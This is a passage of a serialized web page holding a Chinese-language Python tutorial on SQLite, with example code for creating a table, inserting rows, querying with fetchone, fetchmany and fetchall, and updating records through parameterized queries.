关闭Connection\nconn.close()\n",[81800],{"type":18,"tag":74,"props":81801,"children":81802},{"__ignoreMap":8},[81803,81811,81818,81826,81834,81842,81849,81857,81865,81872,81880,81888,81895,81903,81911,81918,81926],{"type":18,"tag":297,"props":81804,"children":81805},{"class":299,"line":300},[81806],{"type":18,"tag":297,"props":81807,"children":81808},{},[81809],{"type":24,"value":81810},"import sqlite3\n",{"type":18,"tag":297,"props":81812,"children":81813},{"class":299,"line":657},[81814],{"type":18,"tag":297,"props":81815,"children":81816},{"emptyLinePlaceholder":793},[81817],{"type":24,"value":796},{"type":18,"tag":297,"props":81819,"children":81820},{"class":299,"line":662},[81821],{"type":18,"tag":297,"props":81822,"children":81823},{},[81824],{"type":24,"value":81825},"# 连接到SQLite数据库\n",{"type":18,"tag":297,"props":81827,"children":81828},{"class":299,"line":799},[81829],{"type":18,"tag":297,"props":81830,"children":81831},{},[81832],{"type":24,"value":81833},"# 数据库文件是info.db，如果文件不存在，会自动在当前目录创建\n",{"type":18,"tag":297,"props":81835,"children":81836},{"class":299,"line":808},[81837],{"type":18,"tag":297,"props":81838,"children":81839},{},[81840],{"type":24,"value":81841},"conn = sqlite3.connect('info.db')\n",{"type":18,"tag":297,"props":81843,"children":81844},{"class":299,"line":817},[81845],{"type":18,"tag":297,"props":81846,"children":81847},{"emptyLinePlaceholder":793},[81848],{"type":24,"value":796},{"type":18,"tag":297,"props":81850,"children":81851},{"class":299,"line":826},[81852],{"type":18,"tag":297,"props":81853,"children":81854},{},[81855],{"type":24,"value":81856},"# 创建一个Cursor\n",{"type":18,"tag":297,"props":81858,"children":81859},{"class":299,"line":4524},[81860],{"type":18,"tag":297,"props":81861,"children":81862},{},[81863],{"type":24,"value":81864},"cursor = conn.cursor()\n",{"type":18,"tag":297,"props":81866,"children":81867},{"class":299,"line":4533},[81868],{"type":18,"tag":297,"props":81869,"children":81870},{"emptyLinePlaceholder":793},[81871],{"type":24,"value":796},{"type":18,"tag":297,"props":81873,"children":81874},{"class":299,"line":4546},[81875],{"type":18,"tag":297,"props":81876,"children":81877},{},[81878],{"type":24,"value":81879},"# 执行一条SQL语句，创建user表                   \n",{"type":18,"tag":297,"props":81881,"children":81882},{"class":299,"line":4555},[81883],{"type":18,"tag":297,"props":81884,"children":81885},{},[81886],{"type":24,"value":81887},"cursor.execute('create  table  user (id int(10)  primary key, name varchar(20))')\n",{"type":18,"tag":297,"props":81889,"children":81890},{"class":299,"line":4568},[81891],{"type":18,"tag":297,"props":81892,"children":81893},{"emptyLinePlaceholder":793},[81894],{"type":24,"value":796},{"type":18,"tag":297,"props":81896,"children":81897},{"class":299,"line":4577},[81898],{"type":18,"tag":297,"props":81899,"children":81900},{},[81901],{"type":24,"value":81902},"# 关闭游标\n",{"type":18,"tag":297,"props":81904,"children":81905},{"class":299,"line":4590},[81906],{"type":18,"tag":297,"props":81907,"children":81908},{},[81909],{"type":24,"value":81910},"cursor.close()\n",{"type":18,"tag":297,"props":81912,"children":81913},{"class":299,"line":4599},[81914],{"type":18,"tag":297,"props":81915,"children":81916},{"emptyLinePlaceholder":793},[81917],{"type":24,"value":796},{"type":18,"tag":297,"props":81919,"children":81920},{"class":299,"line":4607},[81921],{"type":18,"tag":297,"props":81922,"children":81923},{},[81924],{"type":24,"value":81925},"# 关闭Connection\n",{"type":18,"tag":297,"props":81927,"children":81928},{"class":299,"line":4616},[81929],{"type":18,"tag":297,"props":81930,"children":81931},{},[81932],{"type":24,"value":81933},"conn.close()\n",{"type":18,"tag":34,"props":81935,"children":81936},{},[81937,81939,81945],{"type":24,"value":81938},"上述代码中，使用",{"type":18,"tag":74,"props":81940,"children":81942},{"className":81941},[],[81943],{"type":24,"value":81944},"sqlite3.connect()",{"type":24,"value":81946},"方法连接SQLite数据库文件info.db，由于info.db文件并不存在，所以会在本实例Python代码同级目录下创建info.db文件，该文件包含了user表的相关信息。info.db文件所在目录如图所示。",{"type":18,"tag":34,"props":81948,"children":81949},{},[81950],{"type":18,"tag":54,"props":81951,"children":81954},{"alt":81952,"src":81953},"Pasted image 20250721101112","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250721101112.png",[],{"type":18,"tag":96,"props":81956,"children":81957},{},[81958],{"type":18,"tag":34,"props":81959,"children":81960},{},[81961,81963,81969],{"type":24,"value":81962},"说明：再次运行示例时，会提示错误信息：",{"type":18,"tag":74,"props":81964,"children":81966},{"className":81965},[],[81967],{"type":24,"value":81968},"sqlite3.OperationalError:table user alread exists",{"type":24,"value":81970},"，这是因为user表已经存在。",{"type":18,"tag":27,"props":81972,"children":81974},{"id":81973},"操作sqlite",[81975],{"type":24,"value":81976},"操作SQLite",{"type":18,"tag":3561,"props":81978,"children":81980},{"id":81979},"_1新增用户数据信息",[81981],{"type":24,"value":81982},"1）新增用户数据信息",{"type":18,"tag":34,"props":81984,"children":81985},{},[81986],{"type":24,"value":81987},"为了向数据表中新增数据，可以使用如下SQL语句：",{"type":18,"tag":287,"props":81989,"children":81993},{"code":81990,"language":81991,"meta":8,"className":81992,"style":8},"insert into 表名(字段名1,字段名2,…,字段名n)  values (字段值1,字段值2,…,字段值n)\n","sql","language-sql shiki shiki-themes github-dark",[81994],{"type":18,"tag":74,"props":81995,"children":81996},{"__ignoreMap":8},[81997],{"type":18,"tag":297,"props":81998,"children":81999},{"class":299,"line":300},[82000],{"type":18,"tag":297,"props":82001,"children":82002},{},[82003],{"type":24,"value":81990},{"type":18,"tag":34,"props":82005,"children":82006},{},[82007,82009,82014,82015,82020,82022,82027],{"type":24,"value":82008},"在user表中，有2个字段，字段名分别为",{"type":18,"tag":74,"props":82010,"children":82012},{"className":82011},[],[82013],{"type":24,"value":19870},{"type":24,"value":10315},{"type":18,"tag":74,"props":82016,"children":82018},{"className":82017},[],[82019],{"type":24,"value":12133},{"type":24,"value":82021},"。而字段值需要根据字段的数据类型来赋值，如id是一个长度为10的整型，",{"type":18,"tag":74,"props":82023,"children":82025},{"className":82024},[],[82026],{"type":24,"value":12133},{"type":24,"value":82028},"是长度为20的字符串型数据。向user表中插入3条用户信息记录，则SQL语句如下：",{"type":18,"tag":287,"props":82030,"children":82032},{"code":82031,"language":28712,"meta":8,"className":28710,"style":8},"cursor.execute('insert into user (id, name) values (\"1\", \"xiaozhang\")')\ncursor.execute('insert into user (id, name) values (\"2\", \"xiaolan\")')\ncursor.execute('insert into user (id, name) values (\"3\", \"xiaoliu\")')\n",[82033],{"type":18,"tag":74,"props":82034,"children":82035},{"__ignoreMap":8},[82036,82044,82052],{"type":18,"tag":297,"props":82037,"children":82038},{"class":299,"line":300},[82039],{"type":18,"tag":297,"props":82040,"children":82041},{},[82042],{"type":24,"value":82043},"cursor.execute('insert into user (id, name) values (\"1\", \"xiaozhang\")')\n",{"type":18,"tag":297,"props":82045,"children":82046},{"class":299,"line":657},[82047],{"type":18,"tag":297,"props":82048,"children":82049},{},[82050],{"type":24,"value":82051},"cursor.execute('insert into user (id, name) values (\"2\", \"xiaolan\")')\n",{"type":18,"tag":297,"props":82053,"children":82054},{"class":299,"line":662},[82055],{"type":18,"tag":297,"props":82056,"children":82057},{},[82058],{"type":24,"value":82059},"cursor.execute('insert into user (id, name) values (\"3\", \"xiaoliu\")')\n",{"type":18,"tag":34,"props":82061,"children":82062},{},[82063],{"type":24,"value":82064},"下面通过一个实例介绍向SQLite数据库中插入数据的流程。",{"type":18,"tag":34,"props":82066,"children":82067},{},[82068],{"type":18,"tag":105,"props":82069,"children":82070},{},[82071],{"type":24,"value":82072},"新增用户数据信息",{"type":18,"tag":34,"props":82074,"children":82075},{},[82076,82078,82083,82085,82090,82092,82097],{"type":24,"value":82077},"由于在示例中已经创建了user表，所以本实例可以直接操作user表，向user表中插入3条用户信息。此外，由于是新增数据，需要使用",{"type":18,"tag":74,"props":82079,"children":82081},{"className":82080},[],[82082],{"type":24,"value":81462},{"type":24,"value":82084},"方法提交事务。因为对于增加、修改和删除操作，使用",{"type":18,"tag":74,"props":82086,"children":82088},{"className":82087},[],[82089],{"type":24,"value":81462},{"type":24,"value":82091},"方法提交事务后，如果相应操作失败，可以使用",{"type":18,"tag":74,"props":82093,"children":82095},{"className":82094},[],[82096],{"type":24,"value":81475},{"type":24,"value":82098},"方法回滚到操作之前的状态。新增用户数据信息具体代码如下：",{"type":18,"tag":287,"props":82100,"children":82102},{"code":82101,"language":28712,"meta":8,"className":28710,"style":8},"import sqlite3\n\n# 连接到SQLite数据库\n# 数据库文件是info.db\n# 如果文件不存在，会自动在当前目录创建\nconn = sqlite3.connect('info.db')\n\n# 创建一个Cursor\ncursor = conn.cursor()\n\n# 执行一条SQL语句，插入一条记录\ncursor.execute('insert into user (id, name) values (\"1\", \"xiaozhang\")')\ncursor.execute('insert into user (id, name) values (\"2\", \"xiaolan\")')\ncursor.execute('insert into user (id, name) values (\"3\", \"xiaoliu\")')\n\n# 关闭游标\ncursor.close()\n\n# 提交事务\nconn.commit()\n\n# 关闭Connection\nconn.close()\n",[82103],{"type":18,"tag":74,"props":82104,"children":82105},{"__ignoreMap":8},[82106,82113,82120,82127,82135,82143,82150,82157,82164,82171,82178,82186,82193,82200,82207,82214,82221,82228,82235,82243,82251,82258,82265],{"type":18,"tag":297,"props":82107,"children":82108},{"class":299,"line":300},[82109],{"type":18,"tag":297,"props":82110,"children":82111},{},[82112],{"type":24,"value":81810},{"type":18,"tag":297,"props":82114,"children":82115},{"class":299,"line":657},[82116],{"type":18,"tag":297,"props":82117,"children":82118},{"emptyLinePlaceholder":793},[82119],{"type":24,"value":796},{"type":18,"tag":297,"props":82121,"children":82122},{"class":299,"line":662},[82123],{"type":18,"tag":297,"props":82124,"children":82125},{},[82126],{"type":24,"value":81825},{"type":18,"tag":297,"props":82128,"children":82129},{"class":299,"line":799},[82130],{"type":18,"tag":297,"props":82131,"children":82132},{},[82133],{"type":24,"value":82134},"# 数据库文件是info.db\n",{"type":18,"tag":297,"props":82136,"children":82137},{"class":299,"line":808},[82138],{"type":18,"tag":297,"props":82139,"children":82140},{},[82141],{"type":24,"value":82142},"# 如果文件不存在，会自动在当前目录创建\n",{"type":18,"tag":297,"props":82144,"children":82145},{"class":299,"line":817},[82146],{"type":18,"tag":297,"props":82147,"children":82148},{},[82149],{"type":24,"value":81841},{"type":18,"tag":297,"props":82151,"children":82152},{"class":299,"line":826},[82153],{"type":18,"tag":297,"props":82154,"children":82155},{"emptyLinePlaceholder":793},[82156],{"type":24,"value":796},{"type":18,"tag":297,"props":82158,"children":82159},{"class":299,"line":4524},[82160],{"type":18,"tag":297,"props":82161,"children":82162},{},[82163],{"type":24,"value":81856},{"type":18,"tag":297,"props":82165,"children":82166},{"class":299,"line":4533},[82167],{"type":18,"tag":297,"props":82168,"children":82169},{},[82170],{"type":24,"value":81864},{"type":18,"tag":297,"props":82172,"children":82173},{"class":299,"line":4546},[82174],{"type":18,"tag":297,"props":82175,"children":82176},{"emptyLinePlaceholder":793},[82177],{"type":24,"value":796},{"type":18,"tag":297,"props":82179,"children":82180},{"class":299,"line":4555},[82181],{"type":18,"tag":297,"props":82182,"children":82183},{},[82184],{"type":24,"value":82185},"# 执行一条SQL语句，插入一条记录\n",{"type":18,"tag":297,"props":82187,"children":82188},{"class":299,"line":4568},[82189],{"type":18,"tag":297,"props":82190,"children":82191},{},[82192],{"type":24,"value":82043},{"type":18,"tag":297,"props":82194,"children":82195},{"class":299,"line":4577},[82196],{"type":18,"tag":297,"props":82197,"children":82198},{},[82199],{"type":24,"value":82051},{"type":18,"tag":297,"props":82201,"children":82202},{"class":299,"line":4590},[82203],{"type":18,"tag":297,"props":82204,"children":82205},{},[82206],{"type":24,"value":82059},{"type":18,"tag":297,"props":82208,"children":82209},{"class":299,"line":4599},[82210],{"type":18,"tag":297,"props":82211,"children":82212},{"emptyLinePlaceholder":793},[82213],{"type":24,"value":796},{"type":18,"tag":297,"props":82215,"children":82216},{"class":299,"line":4607},[82217],{"type":18,"tag":297,"props":82218,"children":82219},{},[82220],{"type":24,"value":81902},{"type":18,"tag":297,"props":82222,"children":82223},{"class":299,"line":4616},[82224],{"type":18,"tag":297,"props":82225,"children":82226},{},[82227],{"type":24,"value":81910},{"type":18,"tag":297,"props":82229,"children":82230},{"class":299,"line":4624},[82231],{"type":18,"tag":297,"props":82232,"children":82233},{"emptyLinePlaceholder":793},[82234],{"type":24,"value":796},{"type":18,"tag":297,"props":82236,"children":82237},{"class":299,"line":4633},[82238],{"type":18,"tag":297,"props":82239,"children":82240},{},[82241],{"type":24,"value":82242},"# 提交事务\n",{"type":18,"tag":297,"props":82244,"children":82245},{"class":299,"line":4641},[82246],{"type":18,"tag":297,"props":82247,"children":82248},{},[82249],{"type":24,"value":82250},"conn.commit()\n",{"type":18,"tag":297,"props":82252,"children":82253},{"class":299,"line":4650},[82254],{"type":18,"tag":297,"props":82255,"children":82256},{"emptyLinePlaceholder":793},[82257],{"type":24,"value":796},{"type":18,"tag":297,"props":82259,"children":82260},{"class":299,"line":4658},[82261],{"type":18,"tag":297,"props":82262,"children":82263},{},[82264],{"type":24,"value":81925},{"type":18,"tag":297,"props":82266,"children":82267},{"class":299,"line":4681},[82268],{"type":18,"tag":297,"props":82269,"children":82270},{},[82271],{"type":24,"value":81933},{"type":18,"tag":34,"props":82273,"children":82274},{},[82275],{"type":24,"value":82276},"运行该实例，会向user表中插入3条记录。为验证程序是否正常运行，可以再次运行，如果提示如下信息，说明插入成功（因为user表中已经保存了上一次插入的记录，所以再次插入会报错）。",{"type":18,"tag":287,"props":82278,"children":82280},{"code":82279},"sqlite3.IntegrityError: UNIQUE constraint failed: user.id\n",[82281],{"type":18,"tag":74,"props":82282,"children":82283},{"__ignoreMap":8},[82284],{"type":24,"value":82279},{"type":18,"tag":3561,"props":82286,"children":82288},{"id":82287},"_2查看用户数据信息",[82289],{"type":24,"value":82290},"2）查看用户数据信息",{"type":18,"tag":34,"props":82292,"children":82293},{},[82294],{"type":24,"value":82295},"查找user表中的数据可以使用如下SQL语句：",{"type":18,"tag":287,"props":82297,"children":82299},{"code":82298,"language":81991,"meta":8,"className":81992,"style":8},"select  字段名1,字段名2,字段名3,… from 表名  where 查询条件\n",[82300],{"type":18,"tag":74,"props":82301,"children":82302},{"__ignoreMap":8},[82303],{"type":18,"tag":297,"props":82304,"children":82305},{"class":299,"line":300},[82306],{"type":18,"tag":297,"props":82307,"children":82308},{},[82309],{"type":24,"value":82298},{"type":18,"tag":34,"props":82311,"children":82312},{},[82313],{"type":24,"value":82314},"查看用户信息的代码与插入数据信息大致相同，不同点在于使用的SQL语句不同。此外，查询数据时通常使用如下3种方式：",{"type":18,"tag":210,"props":82316,"children":82317},{},[82318,82328,82338],{"type":18,"tag":158,"props":82319,"children":82320},{},[82321,82326],{"type":18,"tag":74,"props":82322,"children":82324},{"className":82323},[],[82325],{"type":24,"value":81678},{"type":24,"value":82327},"：获取查询结果集中的下一条记录。",{"type":18,"tag":158,"props":82329,"children":82330},{},[82331,82336],{"type":18,"tag":74,"props":82332,"children":82334},{"className":82333},[],[82335],{"type":24,"value":81691},{"type":24,"value":82337},"：获取指定数量的记录。",{"type":18,"tag":158,"props":82339,"children":82340},{},[82341,82346],{"type":18,"tag":74,"props":82342,"children":82344},{"className":82343},[],[82345],{"type":24,"value":81704},{"type":24,"value":82347},"：获取结果集的所有记录。",{"type":18,"tag":34,"props":82349,"children":82350},{},[82351],{"type":24,"value":82352},"下面通过一个实例来学习这3种查询方式的区别。",{"type":18,"tag":34,"props":82354,"children":82355},{},[82356],{"type":18,"tag":105,"props":82357,"children":82358},{},[82359],{"type":24,"value":82360},"使用3种方式查询用户数据信息",{"type":18,"tag":34,"props":82362,"children":82363},{},[82364,82366,82372,82373,82379,82380,82386],{"type":24,"value":82365},"1）分别使用",{"type":18,"tag":74,"props":82367,"children":82369},{"className":82368},[],[82370],{"type":24,"value":82371},"fetchone",{"type":24,"value":1942},{"type":18,"tag":74,"props":82374,"children":82376},{"className":82375},[],[82377],{"type":24,"value":82378},"fetchmany",{"type":24,"value":10315},{"type":18,"tag":74,"props":82381,"children":82383},{"className":82382},[],[82384],{"type":24,"value":82385},"fetchall",{"type":24,"value":82387},"这3种方式查询用户信息，具体代码如下：",{"type":18,"tag":287,"props":82389,"children":82391},{"code":82390,"language":28712,"meta":8,"className":28710,"style":8},"import sqlite3\n\n# 连接到SQLite数据库,数据库文件是info.db\nconn = sqlite3.connect('info.db')\n\n# 创建一个Cursor\ncursor = conn.cursor()\n\n# 执行查询语句\ncursor.execute('select * from user')\n\n# 获取查询结果\nresult1 = cursor.fetchone()\nprint(result1)\n\n# 关闭游标\ncursor.close()\n\n# 关闭Connection\nconn.close()\n",[82392],{"type":18,"tag":74,"props":82393,"children":82394},{"__ignoreMap":8},[82395,82402,82409,82417,82424,82431,82438,82445,82452,82460,82468,82475,82483,82491,82499,82506,82513,82520,82527,82534],{"type":18,"tag":297,"props":82396,"children":82397},{"class":299,"line":300},[82398],{"type":18,"tag":297,"props":82399,"children":82400},{},[82401],{"type":24,"value":81810},{"type":18,"tag":297,"props":82403,"children":82404},{"class":299,"line":657},[82405],{"type":18,"tag":297,"props":82406,"children":82407},{"emptyLinePlaceholder":793},[82408],{"type":24,"value":796},{"type":18,"tag":297,"props":82410,"children":82411},{"class":299,"line":662},[82412],{"type":18,"tag":297,"props":82413,"children":82414},{},[82415],{"type":24,"value":82416},"# 连接到SQLite数据库,数据库文件是info.db\n",{"type":18,"tag":297,"props":82418,"children":82419},{"class":299,"line":799},[82420],{"type":18,"tag":297,"props":82421,"children":82422},{},[82423],{"type":24,"value":81841},{"type":18,"tag":297,"props":82425,"children":82426},{"class":299,"line":808},[82427],{"type":18,"tag":297,"props":82428,"children":82429},{"emptyLinePlaceholder":793},[82430],{"type":24,"value":796},{"type":18,"tag":297,"props":82432,"children":82433},{"class":299,"line":817},[82434],{"type":18,"tag":297,"props":82435,"children":82436},{},[82437],{"type":24,"value":81856},{"type":18,"tag":297,"props":82439,"children":82440},{"class":299,"line":826},[82441],{"type":18,"tag":297,"props":82442,"children":82443},{},[82444],{"type":24,"value":81864},{"type":18,"tag":297,"props":82446,"children":82447},{"class":299,"line":4524},[82448],{"type":18,"tag":297,"props":82449,"children":82450},{"emptyLinePlaceholder":793},[82451],{"type":24,"value":796},{"type":18,"tag":297,"props":82453,"children":82454},{"class":299,"line":4533},[82455],{"type":18,"tag":297,"props":82456,"children":82457},{},[82458],{"type":24,"value":82459},"# 执行查询语句\n",{"type":18,"tag":297,"props":82461,"children":82462},{"class":299,"line":4546},[82463],{"type":18,"tag":297,"props":82464,"children":82465},{},[82466],{"type":24,"value":82467},"cursor.execute('select * from user')\n",{"type":18,"tag":297,"props":82469,"children":82470},{"class":299,"line":4555},[82471],{"type":18,"tag":297,"props":82472,"children":82473},{"emptyLinePlaceholder":793},[82474],{"type":24,"value":796},{"type":18,"tag":297,"props":82476,"children":82477},{"class":299,"line":4568},[82478],{"type":18,"tag":297,"props":82479,"children":82480},{},[82481],{"type":24,"value":82482},"# 获取查询结果\n",{"type":18,"tag":297,"props":82484,"children":82485},{"class":299,"line":4577},[82486],{"type":18,"tag":297,"props":82487,"children":82488},{},[82489],{"type":24,"value":82490},"result1 = cursor.fetchone()\n",{"type":18,"tag":297,"props":82492,"children":82493},{"class":299,"line":4590},[82494],{"type":18,"tag":297,"props":82495,"children":82496},{},[82497],{"type":24,"value":82498},"print(result1)\n",{"type":18,"tag":297,"props":82500,"children":82501},{"class":299,"line":4599},[82502],{"type":18,"tag":297,"props":82503,"children":82504},{"emptyLinePlaceholder":793},[82505],{"type":24,"value":796},{"type":18,"tag":297,"props":82507,"children":82508},{"class":299,"line":4607},[82509],{"type":18,"tag":297,"props":82510,"children":82511},{},[82512],{"type":24,"value":81902},{"type":18,"tag":297,"props":82514,"children":82515},{"class":299,"line":4616},[82516],{"type":18,"tag":297,"props":82517,"children":82518},{},[82519],{"type":24,"value":81910},{"type":18,"tag":297,"props":82521,"children":82522},{"class":299,"line":4624},[82523],{"type":18,"tag":297,"props":82524,"children":82525},{"emptyLinePlaceholder":793},[82526],{"type":24,"value":796},{"type":18,"tag":297,"props":82528,"children":82529},{"class":299,"line":4633},[82530],{"type":18,"tag":297,"props":82531,"children":82532},{},[82533],{"type":24,"value":81925},{"type":18,"tag":297,"props":82535,"children":82536},{"class":299,"line":4641},[82537],{"type":18,"tag":297,"props":82538,"children":82539},{},[82540],{"type":24,"value":81933},{"type":18,"tag":34,"props":82542,"children":82543},{},[82544,82545,82550,82552,82558],{"type":24,"value":35582},{"type":18,"tag":74,"props":82546,"children":82548},{"className":82547},[],[82549],{"type":24,"value":81678},{"type":24,"value":82551},"方法返回的",{"type":18,"tag":74,"props":82553,"children":82555},{"className":82554},[],[82556],{"type":24,"value":82557},"result1",{"type":24,"value":82559},"为一个元组，执行结果如下：",{"type":18,"tag":287,"props":82561,"children":82563},{"code":82562},"(1, 'xiaozhang')\n",[82564],{"type":18,"tag":74,"props":82565,"children":82566},{"__ignoreMap":8},[82567],{"type":24,"value":82562},{"type":18,"tag":34,"props":82569,"children":82570},{},[82571],{"type":24,"value":82572},"2）修改实例代码，将获取查询结果的语句块代码修改为：",{"type":18,"tag":287,"props":82574,"children":82576},{"code":82575,"language":28712,"meta":8,"className":28710,"style":8},"result2 = cursor.fetchmany(2)     # 使用fetchmany方法查询多条数据\nprint(result2)\n",[82577],{"type":18,"tag":74,"props":82578,"children":82579},{"__ignoreMap":8},[82580,82588],{"type":18,"tag":297,"props":82581,"children":82582},{"class":299,"line":300},[82583],{"type":18,"tag":297,"props":82584,"children":82585},{},[82586],{"type":24,"value":82587},"result2 = cursor.fetchmany(2)     # 使用fetchmany方法查询多条数据\n",{"type":18,"tag":297,"props":82589,"children":82590},{"class":299,"line":657},[82591],{"type":18,"tag":297,"props":82592,"children":82593},{},[82594],{"type":24,"value":82595},"print(result2)\n",{"type":18,"tag":34,"props":82597,"children":82598},{},[82599,82600,82606,82608,82614],{"type":24,"value":35582},{"type":18,"tag":74,"props":82601,"children":82603},{"className":82602},[],[82604],{"type":24,"value":82605},"fetchmany()",{"type":24,"value":82607},"方法传递一个参数，其值为2，默认为1。返回的",{"type":18,"tag":74,"props":82609,"children":82611},{"className":82610},[],[82612],{"type":24,"value":82613},"result2",{"type":24,"value":82615},"为一个列表，列表中包含2个元组，运行结果如下：",{"type":18,"tag":287,"props":82617,"children":82619},{"code":82618},"[(1, 'xiaozhang'), (2, 'xiaolan')]\n",[82620],{"type":18,"tag":74,"props":82621,"children":82622},{"__ignoreMap":8},[82623],{"type":24,"value":82618},{"type":18,"tag":34,"props":82625,"children":82626},{},[82627],{"type":24,"value":82628},"3）修改实例代码，将获取查询结果的语句块代码修改为：",{"type":18,"tag":287,"props":82630,"children":82632},{"code":82631,"language":28712,"meta":8,"className":28710,"style":8},"result3 = cursor.fetchall()         # 使用fetchmany方法查询多条数据\nprint(result3)\n",[82633],{"type":18,"tag":74,"props":82634,"children":82635},{"__ignoreMap":8},[82636,82644],{"type":18,"tag":297,"props":82637,"children":82638},{"class":299,"line":300},[82639],{"type":18,"tag":297,"props":82640,"children":82641},{},[82642],{"type":24,"value":82643},"result3 = cursor.fetchall()         # 使用fetchmany方法查询多条数据\n",{"type":18,"tag":297,"props":82645,"children":82646},{"class":299,"line":657},[82647],{"type":18,"tag":297,"props":82648,"children":82649},{},[82650],{"type":24,"value":82651},"print(result3)\n",{"type":18,"tag":34,"props":82653,"children":82654},{},[82655,82656,82661,82662,82668],{"type":24,"value":35582},{"type":18,"tag":74,"props":82657,"children":82659},{"className":82658},[],[82660],{"type":24,"value":81704},{"type":24,"value":82551},{"type":18,"tag":74,"props":82663,"children":82665},{"className":82664},[],[82666],{"type":24,"value":82667},"result3",{"type":24,"value":82669},"为一个列表，列表中包含所有user表中数据组成的元组，运行结果如下：",{"type":18,"tag":287,"props":82671,"children":82673},{"code":82672},"[(1, 'xiaozhang'), (2, 'xiaolan'), (3, 'xiaoliu')]\n",[82674],{"type":18,"tag":74,"props":82675,"children":82676},{"__ignoreMap":8},[82677],{"type":24,"value":82672},{"type":18,"tag":34,"props":82679,"children":82680},{},[82681],{"type":24,"value":82682},"4）修改实例代码，将获取查询结果的语句块代码修改为：",{"type":18,"tag":287,"props":82684,"children":82686},{"code":82685,"language":28712,"meta":8,"className":28710,"style":8},"cursor.execute('select * from user where id > ?',(1,))\nresult3 = cursor.fetchall()\nprint(result3)\n",[82687],{"type":18,"tag":74,"props":82688,"children":82689},{"__ignoreMap":8},[82690,82698,82706],{"type":18,"tag":297,"props":82691,"children":82692},{"class":299,"line":300},[82693],{"type":18,"tag":297,"props":82694,"children":82695},{},[82696],{"type":24,"value":82697},"cursor.execute('select * from user where id > ?',(1,))\n",{"type":18,"tag":297,"props":82699,"children":82700},{"class":299,"line":657},[82701],{"type":18,"tag":297,"props":82702,"children":82703},{},[82704],{"type":24,"value":82705},"result3 = cursor.fetchall()\n",{"type":18,"tag":297,"props":82707,"children":82708},{"class":299,"line":662},[82709],{"type":18,"tag":297,"props":82710,"children":82711},{},[82712],{"type":24,"value":82651},{"type":18,"tag":34,"props":82714,"children":82715},{},[82716],{"type":24,"value":82717},"在select查询语句中，使用问号作为占位符代替具体的数值，然后使用一个元组来替换问号（注意，不要忽略元组中最后的逗号），元组类似于传参会将值传给占位符。上述查询语句等价于：",{"type":18,"tag":287,"props":82719,"children":82721},{"code":82720,"language":28712,"meta":8,"className":28710,"style":8},"cursor.execute('select * from user where id > 1')\n",[82722],{"type":18,"tag":74,"props":82723,"children":82724},{"__ignoreMap":8},[82725],{"type":18,"tag":297,"props":82726,"children":82727},{"class":299,"line":300},[82728],{"type":18,"tag":297,"props":82729,"children":82730},{},[82731],{"type":24,"value":82720},{"type":18,"tag":34,"props":82733,"children":82734},{},[82735],{"type":24,"value":82736},"执行结果如下：",{"type":18,"tag":287,"props":82738,"children":82740},{"code":82739},"[(2, 'xiaolan'), (3, 'xiaoliu')]\n",[82741],{"type":18,"tag":74,"props":82742,"children":82743},{"__ignoreMap":8},[82744],{"type":24,"value":82739},{"type":18,"tag":96,"props":82746,"children":82747},{},[82748],{"type":18,"tag":34,"props":82749,"children":82750},{},[82751],{"type":24,"value":82752},"说明：使用占位符的方式可以避免SQL注入的风险，推荐使用这种方式。",{"type":18,"tag":3561,"props":82754,"children":82756},{"id":82755},"_3修改用户数据信息",[82757],{"type":24,"value":82758},"3）修改用户数据信息",{"type":18,"tag":34,"props":82760,"children":82761},{},[82762],{"type":24,"value":82763},"修改user表中的数据可以使用如下SQL语句：",{"type":18,"tag":287,"props":82765,"children":82767},{"code":82766,"language":81991,"meta":8,"className":81992,"style":8},"update  表名  set 字段名 = 字段值  where 查询条件\n",[82768],{"type":18,"tag":74,"props":82769,"children":82770},{"__ignoreMap":8},[82771],{"type":18,"tag":297,"props":82772,"children":82773},{"class":299,"line":300},[82774],{"type":18,"tag":297,"props":82775,"children":82776},{},[82777],{"type":24,"value":82766},{"type":18,"tag":34,"props":82779,"children":82780},{},[82781],{"type":24,"value":82782},"下面通过一个实例来学习一下如何修改表中数据。",{"type":18,"tag":34,"props":82784,"children":82785},{},[82786],{"type":18,"tag":105,"props":82787,"children":82788},{},[82789],{"type":24,"value":82790},"修改用户数据信息",{"type":18,"tag":34,"props":82792,"children":82793},{},[82794,82796,82802,82804,82810,82811,82816],{"type":24,"value":82795},"将SQLite数据库中user表ID为1的数据name字段值",{"type":18,"tag":74,"props":82797,"children":82799},{"className":82798},[],[82800],{"type":24,"value":82801},"xiaozhang",{"type":24,"value":82803},"修改为",{"type":18,"tag":74,"props":82805,"children":82807},{"className":82806},[],[82808],{"type":24,"value":82809},"Xiao",{"type":24,"value":78759},{"type":18,"tag":74,"props":82812,"children":82814},{"className":82813},[],[82815],{"type":24,"value":82385},{"type":24,"value":82817},"获取表中的所有数据。具体代码如下：",{"type":18,"tag":287,"props":82819,"children":82821},{"code":82820,"language":28712,"meta":8,"className":28710,"style":8},"import sqlite3\n\n# 连接到SQLite数据库，数据库文件是info.db\nconn = sqlite3.connect('info.db')\n\n# 创建一个Cursor:\ncursor = conn.cursor()\ncursor.execute('update user set name = ? where id = ?',('Xiao',1))\ncursor.execute('select * from user')\nresult = cursor.fetchall()\nprint(result)\n\n# 关闭游标\ncursor.close()\n\n# 提交事务\nconn.commit()\n\n# 关闭Connection:\nconn.close()\n",[82822],{"type":18,"tag":74,"props":82823,"children":82824},{"__ignoreMap":8},[82825,82832,82839,82847,82854,82861,82869,82876,82884,82891,82899,82906,82913,82920,82927,82934,82941,82948,82955,82963],{"type":18,"tag":297,"props":82826,"children":82827},{"class":299,"line":300},[82828],{"type":18,"tag":297,"props":82829,"children":82830},{},[82831],{"type":24,"value":81810},{"type":18,"tag":297,"props":82833,"children":82834},{"class":299,"line":657},[82835],{"type":18,"tag":297,"props":82836,"children":82837},{"emptyLinePlaceholder":793},[82838],{"type":24,"value":796},{"type":18,"tag":297,"props":82840,"children":82841},{"class":299,"line":662},[82842],{"type":18,"tag":297,"props":82843,"children":82844},{},[82845],{"type":24,"value":82846},"# 连接到SQLite数据库，数据库文件是info.db\n",{"type":18,"tag":297,"props":82848,"children":82849},{"class":299,"line":799},[82850],{"type":18,"tag":297,"props":82851,"children":82852},{},[82853],{"type":24,"value":81841},{"type":18,"tag":297,"props":82855,"children":82856},{"class":299,"line":808},[82857],{"type":18,"tag":297,"props":82858,"children":82859},{"emptyLinePlaceholder":793},[82860],{"type":24,"value":796},{"type":18,"tag":297,"props":82862,"children":82863},{"class":299,"line":817},[82864],{"type":18,"tag":297,"props":82865,"children":82866},{},[82867],{"type":24,"value":82868},"# 